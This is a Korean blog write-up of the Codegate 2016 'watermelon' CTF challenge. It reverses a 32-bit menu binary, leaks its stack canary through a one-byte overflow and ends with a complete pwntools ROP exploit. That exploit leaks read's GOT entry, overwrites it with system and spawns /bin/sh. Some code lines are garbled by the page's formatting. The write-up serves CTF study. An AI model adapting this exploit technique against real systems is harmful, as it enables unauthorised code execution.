System&Write up/CTF

[Codegate 2016] watermelon

Jubil 2018. 6. 3. 18:17
반응형

[Codegate 2016] watermelon

 


 

32bit 바이너리이고, CanaryNX가 걸려있습니다.

 


 

바이너리를 실행하면 우선 이름을 입력 받습니다.

그 후 옵션을 입력 받네요.

 


 

이름을 scanf %s 입력 제한 없이 bss 영역에 받고 있네요.

원할 때 가져올 수 있는 부분이니 생각해 둡시다.

 

그 뒤로는 4294967295 -> -1이 있고,

순서대로 1일 때 Add, 2일 때 View, 3일 때 Modify입니다.

-1일 때는 어떤 역할을 할까요?

 


 

암호화를 해줍니다

 


 

이름을 변경해주고 Add부터 봅시다.

 


 

musicartist를 추가할 수 있습니다.

 


 

main에서 봤던 저 친구가 playlist에 몇 개의 음악이 있는지 나타내는 count이고, v1 playlist를 저장하는 공간이었네요!

 


 

playlist를 하나 추가할 때마다 이렇게 메모리가 잡힐 것입니다.

근데 read에서 21만큼 받네요? 1byteoverflow 납니다.

우선 이 부분도 보류해 둡시다.

 


 

다시 main을 보면 이렇게 정리할 수 있습니다.

하지만 1byte overflow나기 때문에 4401만큼 덮을 수 있네요?

 


 

마침 canary와의 사이에 dummy도 없습니다.

 

 

View를 분석해보죠.


 

말 그대로 playlist를 출력해줍니다.

 


 

그렇다면 1byte overflow를 통해 canaryleak 할 수 있지 않을까요?

??? : %20s니까 길이 제한 걸어서 canary 출력 안 되는 거 아님?

 


 

저건 길이 제한이 아니라 정렬일 뿐이라는 거~

 

 

자 그럼 다시 Modify를 분석하러 가봅시다.

 


 

기능은 View 후 수정입니다.

 


 

근데 200은 좀 아니지.. 여기서 overflow가 또 발생합니다.

 

 

그럼 분석은 여기까지 하고, leak을 한 번 해보겠습니다.

 

1

2

3

4

5

6

7

8

9

10

def Add():

    for i in range(1,101):

        s.sendlineafter("select    |    \n""1")

        s.sendlineafter("music    |    """)

        s.sendlineafter("artist    |    "'A'*19)

 

s.sendline(binsh)

Add()

 

s.interactive()

cs

 

 

이렇게 해준다면 이름을 입력하고 100개를 만듭니다. sendline이기 때문에 A 19+ 개행 문자 1= 20개로 4400byte를 꽉 채울 수 있습니다.

 


 

하지만 view로 봤을 때, canary가 나오지 않는 것을 보니 NULL byte canary네요.

 

1

2

3

4

5

6

7

8

9

10

def Add():

    for i in range(1,101):

        s.sendlineafter("select    |    \n""1")

        s.sendlineafter("music    |    """)

        s.sendlineafter("artist    |    "'A'*20)

 

s.sendline(binsh)

Add()

 

s.interactive()

cs

 

 

A를 하나 추가해 봅시다.


 

canary가 출력된 것 같네요.

 

 

canary를 추출하기 위해서 코드를 짜겠습니다.

 

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

def Add(c):

    s.sendlineafter("select    |    \n""1")

    s.sendlineafter("music    |    """)

    s.sendlineafter("artist    |    ", c*20)

 

s.sendline(binsh)

 

for i in range(1,100):

    Add('A')

 

Add('B')

 

s.sendlineafter("select""2")

s.recvuntil('B'*20 + '\n')

 

canary = u32('\x00' + s.recv(3))

 

log.info("canary : " + str(hex(canary)))

cs

 


 

canary가 출력됩니다.

 

 

그럼 이제 Modify 함수로 canary 덮고 return address 접근해서, read got 받아와서 system 함수로 변조 후, main에서 받았던 name을 인자로 하도록 호출해주는 ROP 코드를 짜면 됩니다.

 

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

68

69

70

71

72

73

74

75

76

77

78

79

80

81

82

83

from pwn import *

 

= remote("localhost"9703)

#s = process("./watermelon")

= ELF("./watermelon")

 

binsh = "/bin/sh"

name = 0x0804d7a0    #bss

pppr = 0x08049acd

offset = 0x9ad60    #read - system

 

read_plt = e.plt['read']

write_plt = e.plt['write']

read_got = e.got['read']

 

######### CANARY LEAK ##########

 

def Add(c):

    s.sendlineafter("select    |    \n""1")

    s.sendlineafter("music    |    """)

    s.sendlineafter("artist    |    ", c*20)

 

s.sendline(binsh)

 

for i in range(1,100):

    Add('A')

 

Add('B')

 

s.sendlineafter("select""2")

s.recvuntil('B'*20 + '\n')

 

canary = u32('\x00' + s.recv(3))

 

log.info("canary : " + str(hex(canary)))

 

########## Make payload ############

 

#Go to return address

payload = ""

payload += "A"*20

payload += p32(canary)

payload += "A"*12

 

#Output read_got

payload += p32(write_plt)

payload += p32(pppr)

payload += p32(1)

payload += p32(read_got)

payload += p32(4)

 

#Input system_add

payload += p32(read_plt)

payload += p32(pppr)

payload += p32(0)

payload += p32(read_got)

payload += p32(4)

 

#Call read_plt(system)

payload += p32(read_plt)

payload += "AAAA"

payload += p32(name)

 

############# Exploit #################

 

s.sendlineafter("select""3")

s.sendlineafter("select number""100")

s.sendlineafter("music""")

s.sendlineafter("artist", payload)

 

s.sendlineafter("select""4"#return

 

 

s.recvuntil("BYE BYE\n\n")

read_libc = u32(s.recv(4))

system_libc = read_libc - offset

 

log.info("read_libc : " + str(hex(read_libc)))

log.info("system_libc : " + str(hex(system_libc)))

 

s.sendline(p32(system_libc))

 

s.interactive()

Colored by Color Scripter

cs

 

 

급 마무리인 것 같지만.. ROP부터는 정말 설명할 게 없어서.. 코드 보고 이해 부탁 드립니다!



exploit


반응형

'System&Write up > CTF' 카테고리의 다른 글

[LeagueOfGuardians 2] register_you  (0) 2018.07.24
[LeagueOfGuardians 2] FOR  (0) 2018.07.24
[Codegate 2018] catshop  (0) 2018.04.08
[Codegate 2018] DaysNote  (0) 2018.04.08
[Codegate 2018] betting  (1) 2018.04.06